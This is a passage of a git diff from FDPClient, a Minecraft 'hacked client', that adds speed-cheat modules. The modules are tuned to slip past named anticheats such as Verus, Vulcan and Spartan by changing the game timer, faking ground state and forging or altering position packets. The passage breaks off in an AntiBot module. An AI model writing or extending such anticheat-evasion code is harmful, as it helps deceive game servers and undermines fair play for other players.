net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue + +class LegitSpeed : SpeedMode("Legit") { + + private val cpuSPEED = BoolValue("Legit-AlanWOOD-CPU-BYPASS-$$$$", true) + + override fun onUpdate() { + if (cpuSPEED.get()) mc.timer.timerSpeed = 1.004f + if (mc.thePlayer.isInWater) return + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) mc.thePlayer.jump() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MinemenHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MinemenHopSpeed.kt new file mode 100644 index 0000000..350481e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MinemenHopSpeed.kt @@ -0,0 +1,30 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue + +class MinemenHopSpeed : SpeedMode("MinemenHop") { + + private val veloAbuseValue = BoolValue("KnockbackAbuse", false) + + override fun onPreMotion() { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.hurtTime < 6 || veloAbuseValue.get()) { + MovementUtils.strafe() + } + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + MovementUtils.strafe() + } + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MinemoraHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MinemoraHopSpeed.kt new file mode 100644 index 0000000..bbaf053 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MinemoraHopSpeed.kt @@ -0,0 +1,48 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class MinemoraHopSpeed : SpeedMode("MinemoraHop") { + + private var movetick = 0 + override fun onEnable() { + movetick = 0 + } + override fun onPreMotion() { + if (mc.thePlayer.isInWater) return + if (MovementUtils.isMoving() || mc.gameSettings.keyBindForward.pressed || mc.gameSettings.keyBindBack.pressed || mc.gameSettings.keyBindLeft.pressed || mc.gameSettings.keyBindRight.pressed) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + movetick = 0 + } else { + movetick++ + when(movetick) { + 1 -> { + MovementUtils.strafe(MovementUtils.getSpeed() * 1.011f) + mc.timer.timerSpeed = 0.98f + } + 2 -> { + MovementUtils.strafe(MovementUtils.getSpeed() * 1.01f) + mc.timer.timerSpeed = 1.01f + } + 3 -> { + MovementUtils.strafe(MovementUtils.getSpeed() * 1.012f) + mc.timer.timerSpeed = 0.9f + } + 4 -> { + MovementUtils.strafe(MovementUtils.getSpeed() * 1f) + mc.timer.timerSpeed = 1.2f + } + 5 -> { + movetick = 0 + mc.timer.timerSpeed = 1.0f + } + } + } + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MoraLowHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MoraLowHopSpeed.kt new file mode 100644 index 0000000..bc7c75f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/MoraLowHopSpeed.kt @@ -0,0 +1,41 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class MoraLowHopSpeed : SpeedMode("MoraLowHop") { + override fun onMotion(event: MotionEvent) { + if (event.eventState === EventState.POST && MovementUtils.isMoving() && !mc.thePlayer.isInWater && !mc.thePlayer.isInLava) { + mc.thePlayer.jumpMovementFactor += 0.00222f + if (mc.thePlayer.fallDistance <= 1f) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mc.thePlayer.motionX *= 1.0123 + mc.thePlayer.motionZ *= 1.0123 + } else { + mc.thePlayer.motionY -= 0.0151 + mc.thePlayer.motionX *= 1.00156 + mc.thePlayer.motionZ *= 1.00156 + } + } + } + } + + override fun onEnable() { + if (mc.thePlayer.onGround) { + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = mc.thePlayer.motionZ + } + } + + override fun onDisable() { + mc.thePlayer.jumpMovementFactor = 0.02f + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/SlowHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/SlowHopSpeed.kt new file mode 100644 index 0000000..7f83236 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/SlowHopSpeed.kt @@ -0,0 +1,21 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class SlowHopSpeed : SpeedMode("SlowHop") { + override fun onPreMotion() { + if (mc.thePlayer.isInWater) return + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) mc.thePlayer.jump() else MovementUtils.strafe(MovementUtils.getSpeed() * 1.011f) + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/StrafeHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/StrafeHopSpeed.kt new file mode 100644 index 0000000..32ae9c5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/StrafeHopSpeed.kt @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class StrafeHopSpeed : SpeedMode("StrafeHop") { + override fun onPreMotion() { + if (MovementUtils.isMoving()) { + MovementUtils.strafe() + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/TeleportCubeCraftSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/TeleportCubeCraftSpeed.kt new file mode 100644 index 0000000..14667c6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/TeleportCubeCraftSpeed.kt @@ -0,0 +1,29 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.FloatValue +import kotlin.math.cos +import kotlin.math.sin + +class TeleportCubeCraftSpeed : SpeedMode("TeleportCubeCraft") { + private val portLengthValue = FloatValue("${valuePrefix}PortLength", 1f, 0.1f, 2f) + + private val timer = MSTimer() + + override fun onMove(event: MoveEvent) { + if (MovementUtils.isMoving() && mc.thePlayer.onGround && timer.hasTimePassed(300L)) { + val yaw = MovementUtils.direction + event.x = -sin(yaw) * portLengthValue.get() + event.z = cos(yaw) * portLengthValue.get() + timer.reset() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/spartan/SpartanLowHop.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/spartan/SpartanLowHop.kt new file mode 100644 index 0000000..b1cb1b5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/spartan/SpartanLowHop.kt @@ -0,0 +1,38 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.spartan + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.settings.GameSettings + +class SpartanLowHopSpeed : SpeedMode("SpartanLowHop") { + private var ticks = 0 + private var launchY = 0.0 + + override fun onUpdate() { + ticks++ + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.thePlayer.jump() + ticks = 0 + MovementUtils.strafe(0.48f) + launchY = mc.thePlayer.posY + }else if (mc.thePlayer.posY > launchY) { + mc.thePlayer.setPosition(mc.thePlayer.posX, launchY, mc.thePlayer.posZ) + } + if (MovementUtils.getSpeed() < 0.225) { + MovementUtils.strafe(0.225f) + }else { + MovementUtils.strafe() + } + } + + override fun onDisable() { + ticks = 0 + mc.timer.timerSpeed = 1f + } + + override fun onEnable() { + ticks = 0 + mc.timer.timerSpeed = 1f + launchY = mc.thePlayer.posY + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusFloatSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusFloatSpeed.kt new file mode 100644 index 0000000..3fe41e0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusFloatSpeed.kt @@ -0,0 +1,69 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.verus +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + + +class VerusFloatSpeed : SpeedMode("VerusFloat") { + + private var ticks = 0 + private var verusBypass = false + private var lastStopped = true + + override fun onEnable() { + verusBypass = false + lastStopped = false + } + + override fun onPreMotion() { + + if (mc.gameSettings.keyBindJump.isKeyDown) { + return + } + + if (!(mc.thePlayer.moveForward > 0)){ + lastStopped = true + return; + } + + if (mc.thePlayer.onGround) { + + if (MovementUtils.getSpeed() > 0.3){ + lastStopped = false + } + + MovementUtils.strafe(0.41f) + mc.thePlayer.motionY = 0.42 + mc.timer.timerSpeed = 2.1f + ticks = 0 + + } else{ + if (ticks >= 10) { + verusBypass = true + MovementUtils.strafe(0.35f) + return + } + + if (verusBypass) { + if (lastStopped){ + MovementUtils.strafe(0.2f) + } + + if (ticks <= 1) { + MovementUtils.strafe(0.35f) + } + + if (ticks >= 2) { + MovementUtils.strafe(0.69f - (ticks - 2) * 0.019f) + } + } + + mc.thePlayer.motionY = 0.0 + mc.timer.timerSpeed = 0.9f + + mc.thePlayer.onGround = true + } + + ticks++ + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusHopSpeed.kt new file mode 100644 index 0000000..d0df54a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusHopSpeed.kt @@ -0,0 +1,144 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.verus + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.ccbluex.liquidbounce.features.value.* + +class VerusHopSpeed : SpeedMode("VerusHop") { + + private val modeValue = ListValue("VerusMode", arrayOf("Normal", "LowHop", "VerusHard", "FastHop", "Bhop", "Test", "Ground"), "Normal") + private val timerBoost = BoolValue("${valuePrefix}TimerBoost",true).displayable { !modeValue.equals("Ground") } + + private var jumps = 0 + private var firstHop = false + private var lastY = 0.0 + private var damagedTicks = 0 + + private var verusHopStage = 1 + + override fun onEnable() { + verusHopStage = 1 + firstHop = true + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + + override fun onPreMotion() { + + if (MovementUtils.isMoving()) { + if (timerBoost.get() && (jumps >= 1) && !modeValue.equals("Ground")) { + mc.timer.timerSpeed = if (mc.thePlayer.motionY < 0) { 0.88f } else { 1.25f } + } + + when { + mc.thePlayer.onGround -> { + if (modeValue.equals("Ground")) { + if (mc.thePlayer.ticksExisted % 12 == 0) { + firstHop = false + MovementUtils.strafe(0.69f) + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.0 + MovementUtils.strafe(0.69f) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.42, mc.thePlayer.posZ, false)) + MovementUtils.strafe(0.41f) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + } else if (!firstHop) { + MovementUtils.strafe(1.01f) + } + } + + + if (modeValue.equals("Normal") || modeValue.equals("LowHop") || modeValue.equals("FastHop")) { + mc.thePlayer.jump() + MovementUtils.strafe(0.48f) + if (modeValue.equals("LowHop")) { + mc.thePlayer.motionY = 0.38 + } else { + mc.thePlayer.motionY = 0.41999998688698 + } + } else if (modeValue.equals("VerusHard")) { + mc.thePlayer.jump() + if(mc.thePlayer.isSprinting) { + MovementUtils.strafe(MovementUtils.getSpeed() + 0.2F) + } + } else if (modeValue.equals("Bhop")) { + MovementUtils.strafe(0.35f) + mc.thePlayer.jump() + } else if (modeValue.equals("Test")) { + if (verusHopStage == 2) { + MovementUtils.strafe(0.61f) + mc.thePlayer.jump() + // MovementUtils.strafe(1.708f) + verusHopStage = 1 + } else if (verusHopStage == 1) { + mc.thePlayer.posY += 0.41999998688698 + MovementUtils.strafe(0.61f) + mc.timer.timerSpeed = 2.0f + verusHopStage = 2 + } + } + + if (mc.thePlayer.posY == lastY) { + jumps++ + } else { + jumps = 0 + } + + lastY = mc.thePlayer.posY + } + else -> { + if (modeValue.equals("FastHop")) { + MovementUtils.strafe(0.36f) + } else if (modeValue.equals("Ground")) { + MovementUtils.strafe(0.41f) + } else if (modeValue.equals("Bhop")) { + if (mc.thePlayer.fallDistance >= 1.5) { + if (damagedTicks > 0) { + MovementUtils.strafe(1.0f) + } else { + MovementUtils.strafe(0.26f) + } + } else if (damagedTicks > 0) { + MovementUtils.strafe(1.0f) + } else { + MovementUtils.strafe(0.33f) + if (mc.thePlayer.posY - lastY < 0.35) { + MovementUtils.strafe(0.5f) + } + } + } else if (modeValue.equals("Test")) { + if (verusHopStage == 2) { + MovementUtils.strafe(0.61f) + mc.timer.timerSpeed = 2.0f + } else { + mc.timer.timerSpeed = 0.95f + } + } + } + } + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) { + return + } + damagedTicks = 20 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusYPort2Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusYPort2Speed.kt new file mode 100644 index 0000000..fc55992 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusYPort2Speed.kt @@ -0,0 +1,26 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.verus + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue + +class VerusYPort2Speed : SpeedMode("VerusYPort2") { + private val speedValue = FloatValue("${valuePrefix}Speed", 0.61f, 0.1f, 1f) + + override fun onMove(event: MoveEvent) { + if (MovementUtils.isMoving()) { + mc.gameSettings.keyBindJump.pressed = false + if (mc.thePlayer.onGround) { + MovementUtils.strafe(speedValue.get()) + event.y = 0.41999998688698 + } else { + MovementUtils.strafe() + } + } + } + + override fun onUpdate() { + mc.thePlayer.motionY = -0.0784000015258789 + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusYPortSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusYPortSpeed.kt new file mode 100644 index 0000000..83a0b08 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/verus/VerusYPortSpeed.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.verus + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue + +class VerusYPortSpeed : SpeedMode("VerusYPort") { + private val speedValue = FloatValue("${valuePrefix}Speed", 0.61f, 0.1f, 1f) + + override fun onMove(event: MoveEvent) { + if (MovementUtils.isMoving()) { + mc.gameSettings.keyBindJump.pressed = false + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.0 + MovementUtils.strafe(speedValue.get()) + event.y = 0.41999998688698 + } else { + MovementUtils.strafe() + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanGroundSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanGroundSpeed.kt new file mode 100644 index 0000000..e4b160f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanGroundSpeed.kt @@ -0,0 +1,82 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.vulcan + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.TextValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.play.client.C03PacketPlayer + +/** + * VulcanGround Speed + * Code by Co Dynamic + * Date: 2023/02/25 + * VulcanStrafe Disabler needed + */ + +class VulcanGroundSpeed : SpeedMode("VulcanGround") { + private val boostSpeedValue = BoolValue("${valuePrefix}GroundBoost", true) + private val boostDelayValue = IntegerValue("${valuePrefix}BoostDelay", 8, 2, 15).displayable{ boostSpeedValue.get() } + private val warnings = TextValue("Warning: ", "") + private val warnings2 = TextValue("Vulcan Strafe", "") + private val warnings3 = TextValue("Disabler Needed", "") + private var jumped = false + private var jumpCount = 0 + private var yMotion = 0.0 + + override fun onUpdate() { + if (jumped) { + mc.thePlayer.motionY = -0.1 + mc.thePlayer.onGround = false + jumped = false + yMotion = 0.0 + } + mc.thePlayer.jumpMovementFactor = 0.025f + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + if (mc.thePlayer.isCollidedHorizontally || mc.gameSettings.keyBindJump.pressed) { + if (!mc.gameSettings.keyBindJump.pressed) { + mc.thePlayer.jump() + } + return + } + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.0 + yMotion = 0.1 + Math.random() * 0.03 + MovementUtils.strafe(0.48f + jumpCount * 0.001f) + jumpCount++ + jumped = true + } else if (MovementUtils.isMoving()) { + MovementUtils.strafe(0.27f + jumpCount * 0.0018f) + } else { + MovementUtils.resetMotion(false) + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + MovementUtils.resetMotion(false) + } + + override fun onEnable() { + mc.timer.timerSpeed = 1f + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + packet.y += yMotion; + } + } + + override fun onMove(event: MoveEvent) { + if (jumpCount >= boostDelayValue.get() && boostSpeedValue.get()) { + event.x *= 1.7181145141919810 + event.z *= 1.7181145141919810 + jumpCount = 0 + } else if (!boostSpeedValue.get()) { + jumpCount = 4 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanHopSpeed.kt new file mode 100644 index 0000000..101bc5d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanHopSpeed.kt @@ -0,0 +1,46 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.vulcan + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.minecraft.client.settings.GameSettings +import kotlin.math.abs + +class VulcanHopSpeed : SpeedMode("VulcanHop") { + + private var wasTimer = false + + override fun onUpdate() { + if (wasTimer) { + mc.timer.timerSpeed = 1.00f + wasTimer = false + } + if ((RotationUtils.targetRotation == null && abs(mc.thePlayer.moveStrafing) < 0.1) || (RotationUtils.targetRotation != null && abs(RotationUtils.getAngleDifference(MovementUtils.movingYaw, RotationUtils.targetRotation!!.yaw)) < 45.0f)) { + mc.thePlayer.jumpMovementFactor = 0.026499f + }else { + mc.thePlayer.jumpMovementFactor = 0.0244f + } + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + + if (MovementUtils.getSpeed() < 0.215f && !mc.thePlayer.onGround) { + MovementUtils.strafe(0.215f) + } + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.gameSettings.keyBindJump.pressed = false + mc.thePlayer.jump() + if (!mc.thePlayer.isAirBorne) { + return //Prevent flag with Flight + } + mc.timer.timerSpeed = 1.25f + wasTimer = true + MovementUtils.strafe() + if(MovementUtils.getSpeed() < 0.5f) { + MovementUtils.strafe(0.4849f) + } + }else if (!MovementUtils.isMoving()) { + mc.timer.timerSpeed = 1.00f + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanLowHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanLowHopSpeed.kt new file mode 100644 index 0000000..fbcf029 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanLowHopSpeed.kt @@ -0,0 +1,41 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.vulcan + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class VulcanLowHopSpeed : SpeedMode("VulcanLowHop") { + private var ticks = 0 + private var launchY = 0.0 + + override fun onUpdate() { + ticks++ + mc.thePlayer.jumpMovementFactor = 0.0245f + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.thePlayer.jump() + ticks = 0 + MovementUtils.strafe() + if (MovementUtils.getSpeed() < 0.5f) { + MovementUtils.strafe(0.484f) + } + launchY = mc.thePlayer.posY + }else if (mc.thePlayer.posY > launchY && ticks <= 1) { + mc.thePlayer.setPosition(mc.thePlayer.posX, launchY, mc.thePlayer.posZ) + }else if (ticks == 5) { + mc.thePlayer.motionY = -0.17 + } + if (MovementUtils.getSpeed() < 0.215) { + MovementUtils.strafe(0.215f) + } + } + + override fun onDisable() { + ticks = 0 + mc.timer.timerSpeed = 1f + } + + override fun onEnable() { + ticks = 0 + mc.timer.timerSpeed = 1f + launchY = mc.thePlayer.posY + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanYPort2Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanYPort2Speed.kt new file mode 100644 index 0000000..35f380a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanYPort2Speed.kt @@ -0,0 +1,49 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.vulcan + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.settings.GameSettings + +class VulcanYPort2Speed : SpeedMode("VulcanYPort2") { + + private var wasTimer = false + private var portSwitcher = 0 + + override fun onEnable() { + wasTimer = true + mc.timer.timerSpeed = 1.0f + portSwitcher = 0 + } + + override fun onDisable() { + wasTimer = false + mc.timer.timerSpeed = 1.0f + portSwitcher = 0 + } + + override fun onUpdate() { + if (wasTimer) { + mc.timer.timerSpeed = 1.0f + wasTimer = false + } + if (portSwitcher > 1) { + mc.thePlayer.motionY = -0.2784 + mc.timer.timerSpeed = 1.5f + wasTimer = true + if(portSwitcher > 1) { + portSwitcher = 0 + } + } + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.thePlayer.jump() + MovementUtils.strafe() + if(portSwitcher >= 1) { + mc.thePlayer.motionY = 0.2 + mc.timer.timerSpeed = 1.5f + } + portSwitcher++ + }else if(MovementUtils.getSpeed() < 0.225){ + MovementUtils.strafe(0.225f) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanYPortSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanYPortSpeed.kt new file mode 100644 index 0000000..aa7b58b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/vulcan/VulcanYPortSpeed.kt @@ -0,0 +1,47 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.vulcan + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.settings.GameSettings + +class VulcanYPortSpeed : SpeedMode("VulcanYPort") { + + private var wasTimer = false + private var ticks = 0 + + override fun onUpdate() { + ticks++ + if (wasTimer) { + mc.timer.timerSpeed = 1.00f + wasTimer = false + } + mc.thePlayer.jumpMovementFactor = 0.0245f + if (!mc.thePlayer.onGround && ticks > 3 && mc.thePlayer.motionY > 0) { + mc.thePlayer.motionY = -0.27 + } + + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (MovementUtils.getSpeed() < 0.215f && !mc.thePlayer.onGround) { + MovementUtils.strafe(0.215f) + } + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + ticks = 0 + mc.gameSettings.keyBindJump.pressed = false + mc.thePlayer.jump() + if (!mc.thePlayer.isAirBorne) { + return //Prevent flag with Flight + } + mc.timer.timerSpeed = 1.2f + wasTimer = true + if(MovementUtils.getSpeed() < 0.48f) { + MovementUtils.strafe(0.48f) + }else{ + MovementUtils.strafe((MovementUtils.getSpeed()*0.985).toFloat()) + } + }else if (!MovementUtils.isMoving()) { + mc.timer.timerSpeed = 1.00f + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiBot.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiBot.kt new file mode 100644 index 0000000..792b5ef --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiBot.kt @@ -0,0 +1,371 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils.displayChatMessage +import net.ccbluex.liquidbounce.utils.extensions.getFullName +import net.ccbluex.liquidbounce.utils.render.ColorUtils.stripColor +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.entity.Entity +import 